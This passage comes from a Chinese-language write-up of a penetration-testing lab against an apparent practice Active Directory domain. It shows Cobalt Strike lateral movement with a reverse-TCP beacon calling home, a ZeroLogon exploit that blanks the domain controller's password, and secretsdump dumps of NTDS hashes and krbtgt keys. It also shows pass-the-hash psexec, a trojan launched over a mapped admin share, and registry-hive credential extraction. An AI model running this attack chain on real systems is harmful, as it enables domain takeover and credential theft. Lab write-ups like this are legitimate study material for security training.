tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : DATA$
Domain : VSMOON
Logon Server : (null)
Logon Time : 2022/10/16 19:11:43
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : DATA$
* Domain : VSMOON
* Password : (null)
kerberos :
* Username : data$
* Domain : VSMOON.COM
* Password : (null)
ssp :
credman :
尝试横向移动
beacon> jump psexec ad re-tcp
[+] host called home, sent: 297622 bytes
[*] Tasked beacon to run windows/beacon_reverse_tcp (192.168.22.152:7878) on ad via Service Control Manager (\\ad\ADMIN$\8a7226d.exe)
[+] Impersonated NT AUTHORITY\SYSTEM
[+] received output:
user : Administrator
domain : DATA
program : C:\Windows\system32\cmd.exe /c echo a01a77dbaaf > \\.\pipe\34df4d
impers. : no
NTLM : e0eaa205900fd89d4ebc9fe6176b4763
| PID 1520
| TID 2420
| LSA Process is now R/W
| LUID 0 ; 746957 (00000000:000b65cd)
\_ msv1_0 - data copy @ 0000000FE49B4B50 : OK !
\_ kerberos -
[+] host called home, sent: 294126 bytes
[-] could not upload file: 1326 - ERROR_LOGON_FAILURE
[-] Could not open service control manager on ad: 5
横向移动失败!
使用cs开启代理扫描域控是否存在漏洞。
这里还是使用 SocksCap64 来转发流量
使用脚本置空域控密码
python cve-2020-1472-exploit.py -n ad -t 10.10.10.137
secretsdump.exe 导出Hash
secretsdump.exe vsmoon.com/ad\$@10.10.10.137 -no-pass
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9307d2f925e8c9025ff452c0f6681313:::
vsmoon.com\data:1104:aad3b435b51404eeaad3b435b51404ee:3e9b45207bedfe4877c5567673e19d01:::
AD$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DATA$:1105:aad3b435b51404eeaad3b435b51404ee:dbcf2fc907129da73618daaacfda88e8:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:134e1843ce6aa68b586b93f6b33b67adf26ae3dc9cab78be617eaf538bbbfcd0
krbtgt:aes128-cts-hmac-sha1-96:b1284e87a3414a984d5295801f10ddc1
krbtgt:des-cbc-md5:133723fdc7970d4a
vsmoon.com\data:aes256-cts-hmac-sha1-96:8dbb79f54eb6160e00f424386eed8650b19a76f7a870732cd21df63cd5139e99
vsmoon.com\data:aes128-cts-hmac-sha1-96:eb597a5e13b47685916dc3406e8028ce
vsmoon.com\data:des-cbc-md5:6e2f6e6da2e96bf4
AD$:aes256-cts-hmac-sha1-96:a7c23d712488d3c211bf50cc4cff225bc0781a86ba5d46d43fd18bedca68f2d6
AD$:aes128-cts-hmac-sha1-96:1d3cbd31aba22311b1f5fb61eeca2e0e
AD$:des-cbc-md5:26d9235845d07643
DATA$:aes256-cts-hmac-sha1-96:76cecb631622e5aec527f702439396a406904d0189f1bb129ecfc4b999d6ff8f
DATA$:aes128-cts-hmac-sha1-96:eccea1ea8bd3788b09f16e27f4bfabd1
DATA$:des-cbc-md5:7c70ba0bec0d54c1
[*] Cleaning up...
psexec.exe 登录域控
psexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d vsmoon/[email protected]
解密 DATA 的密码,建立 IPC$ 连接
net use \\10.10.10.136\c$ QWEasd12300 /user:administrator
映射 DATA 的 c 盘为 z 盘
net use z: \\10.10.10.136\c$
生成转发上线木马放在 DATA 的 c 盘中,并执行木马上线
z:\ad.exe
三台主机成功上线
注册表导出密码文件
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
解密密码文件
# python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
C:\Users\Anonymous\Desktop\vmmoon>python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Target system bootKey: 0xb34b17556cade716de1f36076e43efdb
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:14520c0c1757302373b1c4a622d81bda143f491e3bfe66db182877859e1351bec9ce21b3211d6a7677bb8f98a4d13b616636d7acd3f67ba2489f4b95ca8bf0af083d43bf0f13cfb44d40352d7503987e9f23547f5e17b1774b6affd5d0e852f3cc2b13c6cbd62d811e711a2e14cc55a91e7b689d3dd52aab02511c6ba4ca9125e99b6b60be01202c366af6ee0dd0a291fb99c2aa2658587867b748eb00934daacf7773e00c27b43b4cb06bf70096505a4814aa604351a75871af53e6e02ce581838979a3eed8ecfc6ad9d791e88909f70740958f834c112ed7f82146b5ffa37e619afa5e34ed365eb3493b1fc3353c76
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:1680f1720be4c2eea070114d91b0b9cc
[*] DefaultPassword
(Unknown User):ROOT#123
[*] DPAPI_SYSTEM
dpapi_machinekey:0xf7620224a66b0b07cc3e0b45263c52aa643a0cfe
dpapi_userkey:0x4fd6a5521fd01d1bb047843ed141840ab2603180
[*] NL$KM
0000 A3 1B 0C 50 A7 32 09 2A 43 02 DD DA 2B 89 B4 FD ...P.2.*C...+...
0010 AA 4C BD 16 91 F8 C7 D5 A1 F1 26 F3 6A CD A4 00 .L........&.j...
0020 0E 06 AC FF 45 88 79 C6 EF B6 1C 87 9F A5 C0 C0 ....E.y.........
0030 72 C0 D7 32 48 A1 A7 10 F0 40 50 9F A3 92 BE 34 r..2H....@P....4
NL$KM:a31b0c50a732092a4302ddda2b89b4fdaa4cbd1691f8c7d5a1f126f36acda4000e06acff458879c6efb61c879fa5c0c072c0d73248a1a710f040509fa392be34
[*] Cleaning up...
恢复密码
python reinstall_original_pw.py ad 10.10.10.137 14520c0c1757302373b1c4a622d81bda143f491e3bfe66db182877859e1351bec9ce21b3211d6a7677bb8f98a4d13b616636d7acd3f67ba2489f4b95ca8bf0af083d43bf0f13cfb44d40352d7503987e9f23547f5e17b1774b6affd5d0e852f3cc2b13c6cbd62d811e711a2e14cc55a91e7b689d3dd52aab02511c6ba4ca9125e99b6b60be01202c366af6ee0dd0a291fb99c2aa2658587867b748eb00934daacf7773e00c27b43b4cb06bf70096505a4814aa604351a75871af53e6e02ce581838979a3eed8ecfc6ad9d791e88909f70740958f834c112ed7f82146b5ffa37e619afa5e34ed365eb3493b1fc3353c76
成功恢复密码
项目主要考核能力:
这次主要死在Java反序列化的利用,反序列化的点是找到了但是不知道利用那个反序列化链以及不会编写简单的 Java exp进行攻击。
一句话,安全与开发缺一不可!!!